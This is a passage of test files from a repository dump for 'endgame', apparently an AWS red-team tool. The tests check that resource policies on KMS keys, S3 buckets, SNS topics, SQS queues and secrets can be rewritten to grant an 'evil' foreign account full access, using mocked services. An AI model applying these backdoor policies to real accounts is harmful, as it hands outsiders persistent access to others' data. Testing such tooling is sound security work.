KmsKey(name=MY_RESOURCE, region=region, client=self.client,\n                                  current_account_id=current_account_id)\n            self.keys = KmsKeys(client=self.client, current_account_id=current_account_id, region=region)\n\n    def test_list_keys(self):\n        print(self.keys.resources[0].name)\n        print(self.keys.resources[0].arn)\n        self.assertTrue(self.keys.resources[0].name == self.key_id)\n        self.assertTrue(self.keys.resources[0].arn == f\"arn:aws:kms:us-east-1:123456789012:key/{self.key_id}\")\n\n    def test_get_rbp(self):\n        expected_result = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n\n        print(json.dumps(self.example.original_policy, indent=4))\n        self.assertDictEqual(self.example.original_policy, expected_result)\n\n    def test_add_myself(self):\n        result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        print(json.dumps(result.updated_policy, indent=4))\n        \"\"\"Example output:\n        {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowCurrentAccount\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": [\n                    \"arn:aws:iam::123456789012:root\"\n                ]\n            },\n            \"Resource\": \"arn:aws:kms:us-east-1:123456789012:key/55444291-fd1f-48b5-93c1-dcb37f305b82\",\n            \"Action\": [\n                \"kms:*\"\n            ]\n        },\n        {\n            \"Sid\": \"Endgame\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": [\n                    \"arn:aws:iam::999988887777:user/evil\"\n                ]\n            },\n            \"Resource\": \"arn:aws:kms:us-east-1:123456789012:key/55444291-fd1f-48b5-93c1-dcb37f305b82\",\n            \"Action\": [\n                \"kms:*\"\n            ]\n        }\n    ]\n}\n        \"\"\"\n        self.assertListEqual(result.updated_policy_sids, [\"AllowCurrentAccount\", f\"{constants.SID_SIGNATURE}\"])\n\n    def test_undo(self):\n        result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        print(result.updated_policy_sids)\n        self.assertListEqual(result.updated_policy_sids,  [\"AllowCurrentAccount\", f\"{constants.SID_SIGNATURE}\"])\n        result = self.example.undo(evil_principal=EVIL_PRINCIPAL)\n        print(result.updated_policy_sids)\n        self.assertListEqual(result.updated_policy_sids, [\"AllowCurrentAccount\"])\n\n    def tearDown(self):\n        self.client.schedule_key_deletion(KeyId=self.example.name)\n        self.mock.stop()\n"
  },
  {
    "path": "test/exposure_via_resource_policies/test_s3.py",
    "content": "import unittest\nimport warnings\nfrom moto import mock_s3\nfrom endgame.exposure_via_resource_policies import s3\nfrom endgame.shared.aws_login import get_boto3_client\nfrom endgame.shared import constants\n\nMY_RESOURCE = \"mybucket\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\nclass S3TestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            self.mock = mock_s3()\n            self.mock.start()\n            region = \"us-east-1\"\n            current_account_id = \"123456789012\"\n            self.client = get_boto3_client(profile=None, service=\"s3\", region=region)\n            self.client.create_bucket(Bucket=MY_RESOURCE)\n            self.example = s3.S3Bucket(name=MY_RESOURCE, region=region, client=self.client,\n                                       current_account_id=current_account_id)\n            self.buckets = s3.S3Buckets(client=self.client, current_account_id=current_account_id, region=region)\n\n    def test_list_roles(self):\n        print(self.buckets.resources[0].name)\n        self.assertTrue(self.buckets.resources[0].arn == \"arn:aws:s3:::mybucket\")\n        self.assertTrue(self.buckets.resources[0].name == \"mybucket\")\n\n    def test_get_rbp(self):\n        expected_result = {'Version': '2012-10-17', 'Statement': []}\n        self.assertDictEqual(self.example.original_policy, expected_result)\n\n    def test_set_rbp(self):\n        before = {\n            'Version': '2012-10-17',\n            'Statement': [\n                {\n                    \"Sid\": \"Yolo\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\"AWS\": [f\"arn:aws:iam::999988887777:user/canttouchthis\"]},\n                    \"Action\": \"*:*\",\n                    \"Resource\": \"*:*\",\n                }\n            ]\n        }\n        after = self.example.set_rbp(before)\n        self.assertDictEqual(before, after.updated_policy)\n\n    def test_add_myself(self):\n        result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        self.assertListEqual(result.updated_policy_sids, [constants.ALLOW_CURRENT_ACCOUNT_SID_SIGNATURE, f\"{constants.SID_SIGNATURE}\"])\n\n    def tearDown(self):\n        self.client.delete_bucket(Bucket=MY_RESOURCE)\n        self.mock.stop()\n"
  },
  {
    "path": "test/exposure_via_resource_policies/test_secrets_manager.py",
    "content": "import unittest\nimport warnings\nimport json\nfrom moto import mock_secretsmanager\nfrom endgame.exposure_via_resource_policies.secrets_manager import SecretsManagerSecret, SecretsManagerSecrets\nfrom endgame.shared.aws_login import get_boto3_client\n\nMY_RESOURCE = \"test-resource-exposure\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\n# https://github.com/spulec/moto/blob/master/tests/test_secretsmanager/test_secretsmanager.py\nclass SecretsManagerTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            self.mock = mock_secretsmanager()\n            self.mock.start()\n            current_account_id = \"111122223333\"\n            region = \"us-east-1\"\n            self.client = get_boto3_client(profile=None, service=\"secretsmanager\", region=region)\n            response = self.client.create_secret(\n                Name=MY_RESOURCE, SecretString=\"foosecret\"\n            )\n            self.example = SecretsManagerSecret(name=MY_RESOURCE, region=region, client=self.client,\n                                                current_account_id=current_account_id)\n            self.secrets = SecretsManagerSecrets(client=self.client, current_account_id=current_account_id, region=region)\n\n    def test_list_secrets(self):\n        print(self.secrets.resources[0].name)\n        print(self.secrets.resources[0].arn)\n        self.assertTrue(self.secrets.resources[0].name == \"test-resource-exposure\")\n        self.assertTrue(self.secrets.resources[0].arn.startswith(\"arn:aws:secretsmanager:us-east-1:1234567890:secret:test-resource-exposure\"))\n\n    def test_get_rbp(self):\n        expected_result = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": {\n                \"Effect\": \"Allow\",\n                \"Principal\": {\n                    \"AWS\": [\n                        \"arn:aws:iam::111122223333:root\",\n                        \"arn:aws:iam::444455556666:root\"\n                    ]\n                },\n                \"Action\": [\n                    \"secretsmanager:GetSecretValue\"\n                ],\n                \"Resource\": \"*\"\n            }\n        }\n        print(json.dumps(self.example.original_policy, indent=4))\n        self.assertDictEqual(self.example.original_policy, expected_result)\n\n    # put_resource_policy has not been implemented by moto for secrets manager\n    # def test_set_rbp(self):\n    # def test_add_myself(self):\n\n    def tearDown(self):\n        self.client.delete_secret(SecretId=MY_RESOURCE)\n        self.mock.stop()\n"
  },
  {
    "path": "test/exposure_via_resource_policies/test_ses.py",
    "content": "import unittest\nimport warnings\nimport json\nfrom moto import mock_ses\nfrom endgame.exposure_via_resource_policies.ses import SesIdentityPolicies\nfrom endgame.shared.aws_login import get_boto3_client\nfrom endgame.shared import constants\n\nMY_RESOURCE = \"test-resource-exposure@yolo.com\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\nclass SesTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            current_account_id = \"111122223333\"\n            region = \"us-east-1\"\n            service = \"ses\"\n            self.mock = mock_ses()\n            self.mock.start()\n            self.client = get_boto3_client(profile=None, service=service, region=region)\n            response = self.client.verify_email_identity(\n                EmailAddress=MY_RESOURCE\n            )\n            print(response)\n            self.identities = SesIdentityPolicies(client=self.client, current_account_id=current_account_id, region=region)\n\n    def test_list_identities(self):\n        print(self.identities.resources[0].name)\n        print(self.identities.resources[0].arn)\n        self.assertTrue(self.identities.resources[0].name == MY_RESOURCE)\n        self.assertTrue(self.identities.resources[0].arn == f\"arn:aws:ses:us-east-1:111122223333:identity/{MY_RESOURCE}\")\n"
  },
  {
    "path": "test/exposure_via_resource_policies/test_sns.py",
    "content": "import unittest\nimport warnings\nimport json\nfrom moto import mock_sns\nfrom endgame.exposure_via_resource_policies.sns import SnsTopic, SnsTopics\nfrom endgame.shared.aws_login import get_boto3_client\nfrom endgame.shared import constants\n\nMY_RESOURCE = \"test-resource-exposure\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\n# https://github.com/spulec/moto/blob/master/tests/test_sns/test_topics.py\nclass SnsTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            self.mock = mock_sns()\n            self.mock.start()\n            current_account_id = \"123456789012\"\n            region = \"us-east-1\"\n            self.client = get_boto3_client(profile=None, service=\"sns\", region=region)\n            response = self.client.create_topic(Name=MY_RESOURCE)\n            self.example = SnsTopic(name=MY_RESOURCE, region=region, client=self.client,\n                                    current_account_id=current_account_id)\n            self.topics = SnsTopics(client=self.client, current_account_id=current_account_id, region=region)\n\n    def test_list_topics(self):\n        print(self.topics.resources[0].name)\n        print(self.topics.resources[0].arn)\n        self.assertTrue(self.topics.resources[0].name == \"test-resource-exposure\")\n        self.assertTrue(self.topics.resources[0].arn == \"arn:aws:sns:us-east-1:123456789012:test-resource-exposure\")\n\n\n    def test_get_rbp(self):\n        # This is the default policy\n        expected_result = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Effect\": \"Allow\",\n                    \"Sid\": \"__default_statement_ID\",\n                    \"Principal\": {\n                        \"AWS\": \"*\"\n                    },\n                    \"Action\": [\n                        \"SNS:GetTopicAttributes\",\n                        \"SNS:SetTopicAttributes\",\n                        \"SNS:AddPermission\",\n                        \"SNS:RemovePermission\",\n                        \"SNS:DeleteTopic\",\n                        \"SNS:Subscribe\",\n                        \"SNS:ListSubscriptionsByTopic\",\n                        \"SNS:Publish\",\n                        \"SNS:Receive\"\n                    ],\n                    \"Resource\": \"arn:aws:sns:us-east-1:123456789012:test-resource-exposure\",\n                    \"Condition\": {\n                        \"StringEquals\": {\n                            \"AWS:SourceOwner\": \"123456789012\"\n                        }\n                    }\n                }\n            ]\n        }\n        print(json.dumps(self.example.original_policy, indent=4))\n        self.maxDiff = None\n        self.assertDictEqual(self.example.original_policy, expected_result)\n\n    def test_set_rbp(self):\n        example_sns_policy = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [{\n                \"Sid\": \"grant-1234-publish\",\n                \"Effect\": \"Allow\",\n                \"Principal\": {\n                    \"AWS\": f\"{EVIL_PRINCIPAL}\"\n                },\n                \"Action\": [\"sns:Publish\"],\n                \"Resource\": f\"arn:aws:sns:us-east-2:111122223333:{MY_RESOURCE}\"\n            }]\n        }\n        expected_results = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"__default_statement_ID\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"AWS\": [\n                            \"*\"\n                        ]\n                    },\n                    \"Resource\": [\n                        \"arn:aws:sns:us-east-1:123456789012:test-resource-exposure\"\n                    ],\n                    \"Action\": [\n                        \"sns:AddPermission\",\n                        \"sns:DeleteTopic\",\n                        \"sns:GetTopicAttributes\",\n                        \"sns:ListSubscriptionsByTopic\",\n                        \"sns:Publish\",\n                        \"sns:Receive\",\n                        \"sns:RemovePermission\",\n                        \"sns:SetTopicAttributes\",\n                        \"sns:Subscribe\"\n                    ],\n                    \"Condition\": {\n                        \"StringEquals\": {\n                            \"AWS:SourceOwner\": \"123456789012\"\n                        }\n                    }\n                },\n                {\n                    \"Sid\": \"grant-1234-publish\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"AWS\": [\n                            \"999988887777\"\n                        ]\n                    },\n                    \"Resource\": [\n                        \"arn:aws:sns:us-east-1:123456789012:test-resource-exposure\"\n                    ],\n                    \"Action\": [\n                        \"sns:AddPermission\",\n                        \"sns:DeleteTopic\",\n                        \"sns:GetTopicAttributes\",\n                        \"sns:ListSubscriptionsByTopic\",\n                        \"sns:Publish\",\n                        \"sns:Receive\",\n                        \"sns:RemovePermission\",\n                        \"sns:SetTopicAttributes\",\n                        \"sns:Subscribe\"\n                    ]\n                }\n            ]\n        }\n        response = self.example.set_rbp(example_sns_policy)\n        print(json.dumps(response.updated_policy, indent=4))\n        self.assertDictEqual(response.updated_policy, expected_results)\n\n    def test_set_rbp_by_removal(self):\n        print(json.dumps(self.example.original_policy, indent=4))\n        results = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        print(json.dumps(results.updated_policy, indent=4))\n\n    def test_add_myself(self):\n        result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        self.assertListEqual(result.updated_policy_sids, [\"__default_statement_ID\", 'AllowCurrentAccount', f\"{constants.SID_SIGNATURE}\"])\n\n    def test_undo(self):\n        result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        print(result.updated_policy_sids)\n        undo_result = self.example.undo(evil_principal=EVIL_PRINCIPAL)\n        print(undo_result.updated_policy_sids)\n        self.assertListEqual(result.updated_policy_sids, [\"__default_statement_ID\", 'AllowCurrentAccount', f\"{constants.SID_SIGNATURE}\"])\n\n    def tearDown(self):\n        self.client.delete_topic(TopicArn=self.example.arn)\n        self.mock.stop()\n"
  },
  {
    "path": "test/exposure_via_resource_policies/test_sqs.py",
    "content": "import unittest\nimport warnings\nimport json\nfrom moto import mock_sqs\nfrom endgame.exposure_via_resource_policies.sqs import SqsQueue, SqsQueues\nfrom endgame.shared.aws_login import get_boto3_client\nfrom endgame.shared import constants\n\nMY_RESOURCE = \"test-resource-exposure\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\n# https://github.com/spulec/moto/blob/master/tests/test_sqs/test_sqs.py\nclass SqsTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            self.mock = mock_sqs()\n            self.mock.start()\n            current_account_id = \"123456789012\"\n            region = \"us-east-1\"\n            self.client = get_boto3_client(profile=None, service=\"sqs\", region=region)\n            self.queue_url = self.client.create_queue(QueueName=MY_RESOURCE)[\"QueueUrl\"]\n            self.example = SqsQueue(name=MY_RESOURCE, region=region, client=self.client,\n                                    current_account_id=current_account_id)\n            self.queues = SqsQueues(client=self.client, current_account_id=current_account_id, region=region)\n\n    def test_list_queues(self):\n        print(self.queues.resources[0].name)\n        print(self.queues.resources[0].arn)\n        self.assertTrue(self.queues.resources[0].name == \"test-resource-exposure\")\n        self.assertTrue(self.queues.resources[0].arn.startswith(\"arn:aws:sqs:us-east-1:123456789012:test-resource-exposure\"))\n\n    def test_get_rbp(self):\n        # response = self.client.get_queue_attributes(QueueUrl=self.queue_url)\n        queue_arn = self.client.get_queue_attributes(QueueUrl=self.queue_url)[\"Attributes\"][\"QueueArn\"]\n        # actual_policy = self.client.get_queue_attributes(QueueUrl=self.queue_url, AttributeNames=[\"Policy\"])\n        print(queue_arn)\n        expected_original_policy = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        print(json.dumps(self.example.original_policy, indent=4))\n        self.assertDictEqual(self.example.original_policy, expected_original_policy)\n\n    def test_set_rbp(self):\n        expected_results = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"AllowCurrentAccount\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"AWS\": [\n                            \"arn:aws:iam::123456789012:root\"\n                        ]\n                    },\n                    \"Resource\": [\n                        \"arn:aws:sqs:us-east-1:123456789012:test-resource-exposure\"\n                    ],\n                    \"Action\": [\n                        \"sqs:*\"\n                    ]\n                },\n                {\n                    \"Sid\": \"Endgame\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"AWS\": [\n                            \"arn:aws:iam::999988887777:root\"\n                        ]\n                    },\n                    \"Resource\": [\n                        \"arn:aws:sqs:us-east-1:123456789012:test-resource-exposure\"\n                    ],\n                    \"Action\": [\n                        \"sqs:*\"\n                    ]\n                }\n            ]\n        }\n        response = self.example.set_rbp(evil_policy=expected_results)\n        # print(json.dumps(results, indent=4))\n        self.maxDiff = None\n        self.assertDictEqual(response.updated_policy, expected_results)\n\n    def test_add_myself(self):\n        result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        print(result.updated_policy_sids)\n        self.assertListEqual(result.updated_policy_sids, [\"AllowCurrentAccount\", f\"{constants.SID_SIGNATURE}\"])\n\n    def test_undo(self):\n        add_myself_result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        print(add_myself_result.updated_policy_sids)\n        result = self.example.undo(evil_principal=EVIL_PRINCIPAL)\n        print(result.updated_policy_sids)\n        self.assertListEqual(result.updated_policy_sids, [\"AllowCurrentAccount\"])\n\n    def tearDown(self):\n        self.client.delete_queue(QueueUrl=self.example.queue_url)\n        self.mock.stop()\n"
  },
  {
    "path": "test/shared/__init__.py",
    "content": ""
  },
  {
    "path": "test/shared/test_policy_document.py",
    "content": "import json\nimport unittest\nfrom click.testing import CliRunner\nfrom policy_sentry.util.arns import get_account_from_arn\nfrom endgame.shared import constants\nfrom endgame.shared.policy_document import PolicyDocument\n\nvictim_account_id = \"123456789012\"\nevil_principal = \"arn:aws:iam::987654321:user/mwahahaha\"\nevil_account_id = \"987654321\"\n\npolicy_with_root_principal = {\n            'Version': '2012-10-17',\n            'Statement': [\n                {\n                    'Sid': 'AllowCurrentAccount',\n                    'Effect': 'Allow',\n                    'Principal': {'AWS': 'arn:aws:iam::111222333:root'},\n                    'Action': 'logs:*',\n                    'Resource': ['*']\n                },\n                {\n                    'Sid': 'Endgame',\n                    'Effect': 'Allow',\n                    'Principal': {'AWS': 'arn:aws:iam::999888777:root'},\n                    'Action': 'logs:*',\n                    'Resource': ['*']\n                }\n            ]\n        }\n\npolicy_with_account_id = {\n    'Version': '2012-10-17',\n    'Statement': [\n        {\n            'Sid': 'AllowCurrentAccount',\n            'Effect': 'Allow',\n            'Principal': {'AWS': ['111222333']},\n            'Action': 'logs:*',\n            'Resource': ['*']\n        },\n        {\n            'Sid': 'Endgame',\n            'Effect': 'Allow',\n            'Principal': {'AWS': ['999888777']},\n            'Action': 'logs:*',\n            'Resource': ['*']\n        }\n    ]\n}\n\nkms_policy = {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowCurrentAccount\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": [\n                    \"arn:aws:iam::123456789012:root\"\n                ]\n            },\n            \"Action\": [\n                \"kms:Sup\"\n            ],\n            \"Resource\": [\n                f\"arn:aws:kms:us-east-1:123456789012:key/somekeyid\",\n                f\"arn:aws:kms:us-east-1:123456789012:key/somekeyid/*\"\n            ]\n        },\n        {\n            \"Sid\": \"Endgame\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": [\n                    \"arn:aws:iam::999988887777:user/evil\"\n                ]\n            },\n            \"Action\": [\n                \"kms:*\"\n            ],\n            \"Resource\": [\n                f\"arn:aws:kms:us-east-1:123456789012:key/somekeyid\",\n                f\"arn:aws:kms:us-east-1:123456789012:key/somekeyid/*\"\n            ]\n        }\n    ]\n}\n\nec2_assume_role_policy = {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": \"sts:AssumeRole\",\n      \"Principal\": {\n        \"Service\": \"ec2.amazonaws.com\"\n      },\n      \"Effect\": \"Allow\",\n      \"Sid\": \"\"\n    }\n  ]\n}\n\n\nclass PolicyDocumentTestCase(unittest.TestCase):\n    def setUp(self):\n        self.override_account_id_document = PolicyDocument(\n            policy=kms_policy,\n            service=\"kms\",\n            override_account_id_instead_of_principal=True,\n            override_resource_block=\"*\"\n        )\n        self.policy_with_principal_service = PolicyDocument(\n            policy=ec2_assume_role_policy,\n            service=\"iam\",\n            override_action=\"sts:AssumeRole\",\n            override_account_id_instead_of_principal=False,\n            include_resource_block=False\n        )\n        self.override_action_policy = PolicyDocument(\n            policy=ec2_assume_role_policy,\n            service=\"iam\",\n            override_action=\"sts:Yolo\",\n            override_account_id_instead_of_principal=False,\n            include_resource_block=False\n        )\n\n    def test_override_account_id_instead_of_principal(self):\n\n        results = json.loads(self.override_account_id_document.__str__())\n        allow_current_account_id = results['Statement'][0]['Principal']['AWS'][0]\n        self.assertEqual(allow_current_account_id, \"123456789012\")\n        evil_current_account_id = results['Statement'][1]['Principal']['AWS'][0]\n        self.assertEqual(evil_current_account_id, \"999988887777\")\n        # print(json.dumps(results, indent=4))\n\n    def test_statement_with_principal_service(self):\n        results = json.loads(self.policy_with_principal_service.__str__())\n        print(json.dumps(results, indent=4))\n        expected_results = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"Service\": \"ec2.amazonaws.com\"\n                    },\n                    \"Action\": \"sts:AssumeRole\"\n                }\n            ]\n        }\n        self.assertDictEqual(results, expected_results)\n\n    def test_override_action(self):\n        results = json.loads(self.override_action_policy.__str__())\n        print(json.dumps(results, indent=4))\n        expected_results = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"Service\": \"ec2.amazonaws.com\"\n                    },\n                    \"Action\": \"sts:Yolo\"\n                }\n            ]\n        }\n        self.assertDictEqual(results, expected_results)\n\n    def test_empty_statements(self):\n        \"\"\"If there are no statements, it should not break.\"\"\"\n        empty_statements = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        empty_statements_document = PolicyDocument(\n            policy=empty_statements,\n            service=\"iam\",\n        )\n        results = json.loads(empty_statements_document.__str__())\n        print(json.dumps(results, indent=4))\n        self.assertDictEqual(results, empty_statements)\n\n    def test_get_allow_current_account_id(self):\n        \"\"\"Allow Current account ID\"\"\"\n        empty_statements = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        empty_statements_document = PolicyDocument(\n            policy=empty_statements,\n            service=\"iam\",\n            override_resource_block=\"*\"\n        )\n        statement = empty_statements_document.statement_allow_account_id(\"999988887777\", \"*\")\n        # results = json.loads(empty_statements_document.__str__())\n        print(json.dumps(statement, indent=4))\n        # self.assertDictEqual(results, empty_statements)\n        expected_result = {\n            \"Sid\": \"AllowCurrentAccount\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": [\n                    \"arn:aws:iam::999988887777:root\"\n                ]\n            },\n            \"Resource\": [\n                \"*\"\n            ],\n            \"Action\": [\n                \"iam:*\"\n            ]\n        }\n        self.assertEqual(statement[\"Resource\"][0], \"*\")\n        self.assertDictEqual(statement, expected_result)\n\n    def test_policy_plus_evil_principal(self):\n        empty_statements = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        empty_statements_document = PolicyDocument(\n            policy=empty_statements,\n            service=\"iam\",\n            override_resource_block=\"*\",\n        )\n        policy = empty_statements_document.policy_plus_evil_principal(\n            victim_account_id=\"111122223333\",\n            evil_principal=\"arn:aws:iam::999988887777:user/mwahahaha\"\n        )\n        print(json.dumps(policy, indent=4))\n        self.assertEqual(policy[\"Statement\"][0][\"Sid\"], \"AllowCurrentAccount\")\n        self.assertEqual(policy[\"Statement\"][0][\"Principal\"][\"AWS\"][0], \"arn:aws:iam::111122223333:root\")\n        self.assertEqual(policy[\"Statement\"][1][\"Sid\"], \"Endgame\")\n        self.assertEqual(policy[\"Statement\"][1][\"Principal\"][\"AWS\"][0], \"arn:aws:iam::999988887777:user/mwahahaha\")\n\n"
  },
  {
    "path": "test/shared/test_resource_results.py",
    "content": "import unittest\nimport warnings\nfrom moto import mock_kms, mock_iam, mock_ecr\nfrom endgame.shared.aws_login import get_boto3_client\nimport json\nfrom endgame.shared import constants, utils\nfrom endgame.shared.resource_results import ResourceResults, ServiceResourcesMultiRegion, ServiceResourcesSingleRegion\n\n\nclass ResourceResultsTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            self.mock_kms = mock_kms()\n            self.mock_iam = mock_iam()\n            self.mock_ecr = mock_ecr()\n            self.mock_kms.start()\n            self.mock_ecr.start()\n            self.mock_iam.start()\n            self.current_account_id = \"123456789012\"\n            # Set up KMS keys in 3 regions\n            self.ue1_kms_client = get_boto3_client(profile=None, service=\"kms\", region=\"us-east-1\")\n            self.ue2_kms_client = get_boto3_client(profile=None, service=\"kms\", region=\"us-east-2\")\n            self.euw1_kms_client = get_boto3_client(profile=None, service=\"kms\", region=\"eu-west-1\")\n            region = \"us-east-1\"\n            self.iam_client = get_boto3_client(profile=None, service=\"iam\", region=region)\n\n            # self.iam_client = get_boto3_client(profile=None, service=\"iam\", region=\"us-east-1\")\n            self.uw1_ecr_client = get_boto3_client(profile=None, service=\"ecr\", region=\"us-west-1\")\n\n            # Get the ARNs so you can test them later\n            self.ue1_key_arn = self.ue1_kms_client.create_key()[\"KeyMetadata\"][\"Arn\"]\n            self.ue2_key_arn = self.ue2_kms_client.create_key()[\"KeyMetadata\"][\"Arn\"]\n            self.euw1_key_arn = self.euw1_kms_client.create_key()[\"KeyMetadata\"][\"Arn\"]\n            iam_role = self.iam_client.create_role(\n                RoleName=\"yolo\",\n                AssumeRolePolicyDocument=json.dumps(constants.EC2_ASSUME_ROLE_POLICY)\n            )\n            self.iam_role_arn = iam_role[\"Role\"][\"Arn\"]\n            self.ecr_arn = self.uw1_ecr_client.create_repository(repositoryName=\"alpine\")[\"repository\"][\"repositoryArn\"]\n\n            # Create the objects that will store our results\n            self.service_resources_single_region = ServiceResourcesSingleRegion(\n                user_provided_service=\"kms\",\n                region=\"us-east-1\",\n                current_account_id=self.current_account_id,\n                profile=None,\n                cloak=False\n            )\n            self.service_resources_multi_region = ServiceResourcesMultiRegion(\n                user_provided_service=\"kms\",\n                user_provided_region=\"all\",\n                current_account_id=self.current_account_id,\n                profile=None,\n                cloak=False\n            )\n            # Let's exclude all the services that do not match the ones we specified above.\n            # That way, we can avoid an issue where moto tries to make API calls it does not support\n            excluded_services = []\n            for supported_service in constants.SUPPORTED_AWS_SERVICES:\n                if supported_service not in [\"all\", \"iam\", \"ecr\", \"kms\"]:\n                    excluded_services.append(supported_service)\n            print(f\"Excluded services: {excluded_services}\")\n            self.resource_results = ResourceResults(\n                user_provided_service=\"all\",\n                user_provided_region=\"all\",\n                current_account_id=self.current_account_id,\n                profile=None,\n                cloak=False,\n                excluded_names=[],\n                excluded_services=excluded_services\n            )\n\n    def test_kms_single_region_arns(self):\n        results = self.service_resources_single_region.resources\n        for resource in results.resources:\n            print(resource.arn)\n\n        expected_results = [self.ue1_key_arn]\n        print(self.service_resources_single_region.arns)\n        self.assertListEqual(self.service_resources_single_region.arns, expected_results)\n\n    def test_kms_regions_multi_regions(self):\n        print(\"Test which regions the service appears in\")\n        expected_regions = ['af-south-1', 'ap-east-1', 'ap-northeast-1', 'ap-northeast-2', 'ap-south-1',\n                            'ap-southeast-1', 'ap-southeast-2', 'ca-central-1', 'eu-central-1', 'eu-north-1',\n                            'eu-south-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'me-south-1', 'sa-east-1', 'us-east-1',\n                            'us-east-2', 'us-west-1', 'us-west-2']\n        kms_regions = self.service_resources_multi_region.regions\n        print(kms_regions)\n        # Let's future proof the tests, which is important once AWS adds more regions\n        for kms_region in kms_regions:\n            self.assertTrue(kms_region in expected_regions)\n\n    def test_kms_arns_multi_regions(self):\n        print(\"Test resource ARNs\")\n        arns = self.service_resources_multi_region.arns\n        expected_arns = [\n            self.ue1_key_arn,\n            self.ue2_key_arn,\n            self.euw1_key_arn\n        ]\n        print(arns)\n        for arn in expected_arns:\n            self.assertTrue(arn in arns)\n\n    def test_resource_results_arns(self):\n        print(\"Get ARNs from all the different services\")\n        arns = self.resource_results.arns()\n        print(arns)\n        expected_arns = [\n            self.ue1_key_arn,\n            self.ue2_key_arn,\n            self.euw1_key_arn,\n            self.iam_role_arn,\n            self.ecr_arn\n        ]\n        for arn in expected_arns:\n            self.assertTrue(arn in arns)\n"
  },
  {
    "path": "test/shared/test_statement_detail.py",
    "content": "import json\nimport unittest\nfrom click.testing import CliRunner\nfrom policy_sentry.util.arns import get_account_from_arn\nfrom endgame.shared import constants\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.statement_detail import StatementDetail\n\nvictim_account_id = \"123456789012\"\nevil_principal = \"arn:aws:iam::987654321:user/mwahahaha\"\nevil_account_id = \"987654321\"\n\npolicy_with_root_principal = {\n            'Version': '2012-10-17',\n            'Statement': [\n                {\n                    'Sid': 'AllowCurrentAccount',\n                    'Effect': 'Allow',\n                    'Principal': {'AWS': 'arn:aws:iam::111222333:root'},\n                    'Action': 'logs:*',\n                    'Resource': ['*']\n                },\n                {\n                    'Sid': 'Endgame',\n                    'Effect': 'Allow',\n                    'Principal': {'AWS': 'arn:aws:iam::999888777:root'},\n                    'Action': 'logs:*',\n                    'Resource': ['*']\n                }\n            ]\n        }\n\npolicy_with_account_id = {\n    'Version': '2012-10-17',\n    'Statement': [\n        {\n            'Sid': 'AllowCurrentAccount',\n            'Effect': 'Allow',\n            'Principal': {'AWS': ['111222333']},\n            'Action': 'logs:*',\n            'Resource': ['*']\n        },\n        {\n            'Sid': 'Endgame',\n            'Effect': 'Allow',\n            'Principal': {'AWS': ['999888777']},\n            'Action': 'logs:*',\n            'Resource': ['*']\n        }\n    ]\n}\n\n\nclass StatementDetailTestCase(unittest.TestCase):\n    def test_statement_with_root(self):\n        statement_detail = 